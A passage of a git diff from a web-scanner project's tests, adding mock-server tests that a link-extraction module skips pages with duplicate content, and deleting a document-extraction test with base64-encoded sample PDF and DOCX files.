+            expect_args={"method": "GET", "uri": "/dir1/page.html"},
+            respond_args={"response_data": self.duplicate_body},
+        )
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/dir2/page.html"},
+            respond_args={"response_data": self.duplicate_body},
+        )
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/other/page.html"},
+            respond_args={"response_data": self.unique_body},
+        )
+        module_test.httpserver.no_handler_status_code = 404
+
+    def check(self, module_test, events):
+        excavate = module_test.scan.modules["excavate"]
+        assert len(excavate._content_dup_tracker) > 0, "Content dedup tracker was empty"
+
+        url_events = [e for e in events if e.type == "URL_UNVERIFIED"]
+        urls = {e.url for e in url_events}
+
+        assert "http://127.0.0.1:8888/other/unique.html" in urls, "Unique page link not extracted"
+
+        dir1_found = "http://127.0.0.1:8888/dir1/found.html" in urls
+        dir2_found = "http://127.0.0.1:8888/dir2/found.html" in urls
+        assert dir1_found or dir2_found, "Neither duplicate page was processed"
+        assert not (dir1_found and dir2_found), (
+            "Both duplicate pages were processed — content dedup failed to skip the second one"
+        )
+
+
+class TestExcavateContentDedupDisabled(ModuleTestBase):
+    """Verify that with _avoid_duplicate_content=False, duplicate content on different URLs is NOT deduped."""
+
+    targets = [
+        "http://127.0.0.1:8888/dir1/page.html",
+        "http://127.0.0.1:8888/dir2/page.html",
+    ]
+    modules_overrides = ["excavate", "http"]
+    config_overrides = {"web": {"spider_distance": 0, "spider_depth": 0}, "omit_event_types": []}
+
+    duplicate_body = "<html><body><a href='./found.html'>click</a></body></html>"
+
+    async def setup_before_prep(self, module_test):
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/dir1/page.html"},
+            respond_args={"response_data": self.duplicate_body},
+        )
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/dir2/page.html"},
+            respond_args={"response_data": self.duplicate_body},
+        )
+        module_test.httpserver.no_handler_status_code = 404
+
+    async def setup_after_prep(self, module_test):
+        module_test.scan.modules["excavate"]._avoid_duplicate_content = False
+
+    def check(self, module_test, events):
+        url_events = [e for e in events if e.type == "URL_UNVERIFIED"]
+        urls = {e.url for e in url_events}
+
+        dir1_found = "http://127.0.0.1:8888/dir1/found.html" in urls
+        dir2_found = "http://127.0.0.1:8888/dir2/found.html" in urls
+        assert dir1_found and dir2_found, (
+            f"Both duplicate pages should be processed when _avoid_duplicate_content=False, "
+            f"got dir1={dir1_found}, dir2={dir2_found}"
+        )
+
+
+class TestContentDedupWithURLEvents(ModuleTestBase):
+    """Verify _avoid_duplicate_content works for modules watching URL events (via body_sha256 hash)."""
+
+    targets = [
+        "http://127.0.0.1:8888/page1.html",
+        "http://127.0.0.1:8888/page2.html",
+        "http://127.0.0.1:8888/different.html",
+    ]
+    modules_overrides = ["excavate", "http"]
+    config_overrides = {"web": {"spider_distance": 0, "spider_depth": 0}, "omit_event_types": []}
+
+    duplicate_body = "<html><body>identical content</body></html>"
+    unique_body = "<html><body>different content</body></html>"
+
+    async def setup_before_prep(self, module_test):
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/page1.html"},
+            respond_args={"response_data": self.duplicate_body},
+        )
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/page2.html"},
+            respond_args={"response_data": self.duplicate_body},
+        )
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/different.html"},
+            respond_args={"response_data": self.unique_body},
+        )
+        module_test.httpserver.no_handler_status_code = 404
+
+    async def setup_after_prep(self, module_test):
+        class URLConsumer(BaseModule):
+            watched_events = ["URL"]
+            _name = "url_consumer"
+            _avoid_duplicate_content = True
+            events_seen = []
+
+            async def handle_event(self, event):
+                self.events_seen.append(event)
+
+        module_test.scan.modules["url_consumer"] = URLConsumer(module_test.scan)
+
+    def check(self, module_test, events):
+        consumer = module_test.scan.modules["url_consumer"]
+        seen_urls = {e.url for e in consumer.events_seen if e.type == "URL"}
+
+        assert "http://127.0.0.1:8888/different.html" in seen_urls, "Unique URL should be processed"
+
+        page1_seen = "http://127.0.0.1:8888/page1.html" in seen_urls
+        page2_seen = "http://127.0.0.1:8888/page2.html" in seen_urls
+        assert page1_seen or page2_seen, "At least one duplicate-content URL should be processed"
+        assert not (page1_seen and page2_seen), (
+            "Both duplicate-content URLs were processed — content dedup failed for URL events"
+        )
+        assert len(consumer._content_dup_tracker) > 0, "Content dedup tracker should have entries"
diff --git a/bbot/test/test_step_2/module_tests/test_module_extractous.py b/bbot/test/test_step_2/module_tests/test_module_extractous.py
deleted file mode 100644
index 19380dbf06..0000000000
--- a/bbot/test/test_step_2/module_tests/test_module_extractous.py
+++ /dev/null
@@ -1,66 +0,0 @@
-import base64
-from pathlib import Path
-from .base import ModuleTestBase
-
-from ...bbot_fixtures import *
-
-
-class TestExtractous(ModuleTestBase):
-    targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["extractous", "filedownload", "httpx", "excavate", "speculate"]
-    config_overrides = {
-        "web": {
-            "spider_distance": 2,
-            "spider_depth": 2,
-        },
-        "modules": {
-            "filedownload": {
-                "output_folder": bbot_test_dir / "filedownload",
-            },
-        },
-    }
-
-    pdf_data = base64.b64decode(
-        "JVBERi0xLjMKJe+/ve+/ve+/ve+/vSBSZXBvcnRMYWIgR2VuZXJhdGVkIFBERiBkb2N1bWVudCBodHRwOi8vd3d3LnJlcG9ydGxhYi5jb20KMSAwIG9iago8PAovRjEgMiAwIFIKPj4KZW5kb2JqCjIgMCBvYmoKPDwKL0Jhc2VGb250IC9IZWx2ZXRpY2EgL0VuY29kaW5nIC9XaW5BbnNpRW5jb2RpbmcgL05hbWUgL0YxIC9TdWJ0eXBlIC9UeXBlMSAvVHlwZSAvRm9udAo+PgplbmRvYmoKMyAwIG9iago8PAovQ29udGVudHMgNyAwIFIgL01lZGlhQm94IFsgMCAwIDU5NS4yNzU2IDg0MS44ODk4IF0gL1BhcmVudCA2IDAgUiAvUmVzb3VyY2VzIDw8Ci9Gb250IDEgMCBSIC9Qcm9jU2V0IFsgL1BERiAvVGV4dCAvSW1hZ2VCIC9JbWFnZUMgL0ltYWdlSSBdCj4+IC9Sb3RhdGUgMCAvVHJhbnMgPDwKCj4+IAogIC9UeXBlIC9QYWdlCj4+CmVuZG9iago0IDAgb2JqCjw8Ci9QYWdlTW9kZSAvVXNlTm9uZSAvUGFnZXMgNiAwIFIgL1R5cGUgL0NhdGFsb2cKPj4KZW5kb2JqCjUgMCBvYmoKPDwKL0F1dGhvciAoYW5vbnltb3VzKSAvQ3JlYXRpb25EYXRlIChEOjIwMjQwNjAzMTg1ODE2KzAwJzAwJykgL0NyZWF0b3IgKFJlcG9ydExhYiBQREYgTGlicmFyeSAtIHd3dy5yZXBvcnRsYWIuY29tKSAvS2V5d29yZHMgKCkgL01vZERhdGUgKEQ6MjAyNDA2MDMxODU4MTYrMDAnMDAnKSAvUHJvZHVjZXIgKFJlcG9ydExhYiBQREYgTGlicmFyeSAtIHd3dy5yZXBvcnRsYWIuY29tKSAKICAvU3ViamVjdCAodW5zcGVjaWZpZWQpIC9UaXRsZSAodW50aXRsZWQpIC9UcmFwcGVkIC9GYWxzZQo+PgplbmRvYmoKNiAwIG9iago8PAovQ291bnQgMSAvS2lkcyBbIDMgMCBSIF0gL1R5cGUgL1BhZ2VzCj4+CmVuZG9iago3IDAgb2JqCjw8Ci9GaWx0ZXIgWyAvQVNDSUk4NURlY29kZSAvRmxhdGVEZWNvZGUgXSAvTGVuZ3RoIDEwNwo+PgpzdHJlYW0KR2FwUWgwRT1GLDBVXEgzVFxwTllUXlFLaz90Yz5JUCw7VyNVMV4yM2loUEVNXz9DVzRLSVNpOTBNakdeMixGUyM8UkM1K2MsbilaOyRiSyRiIjVJWzwhXlREI2dpXSY9NVgsWzVAWUBWfj5lbmRzdHJlYW0KZW5kb2JqCnhyZWYKMCA4CjAwMDAwMDAwMDAgNjU1MzUgZiAKMDAwMDAwMDA3MyAwMDAwMCBuIAowMDAwMDAwMTA0IDAwMDAwIG4gCjAwMDAwMDAyMTEgMDAwMDAgbiAKMDAwMDAwMDQxNCAwMDAwMCBuIAowMDAwMDAwNDgyIDAwMDAwIG4gCjAwMDAwMDA3NzggMDAwMDAgbiAKMDAwMDAwMDgzNyAwMDAwMCBuIAp0cmFpbGVyCjw8Ci9JRCAKWzw4MGQ5ZjViOTY0ZmM5OTI4NDUwMWRlYjdhNmE2MzdmNz48ODBkOWY1Yjk2NGZjOTkyODQ1MDFkZWI3YTZhNjM3Zjc+XQolIFJlcG9ydExhYiBnZW5lcmF0ZWQgUERGIGRvY3VtZW50IC0tIGRpZ2VzdCAoaHR0cDovL3d3dy5yZXBvcnRsYWIuY29tKQoKL0luZm8gNSAwIFIKL1Jvb3QgNCAwIFIKL1NpemUgOAo+PgpzdGFydHhyZWYKMTAzNAolJUVPRg=="
-    )
-
-    docx_data = base64.b64decode(
-        "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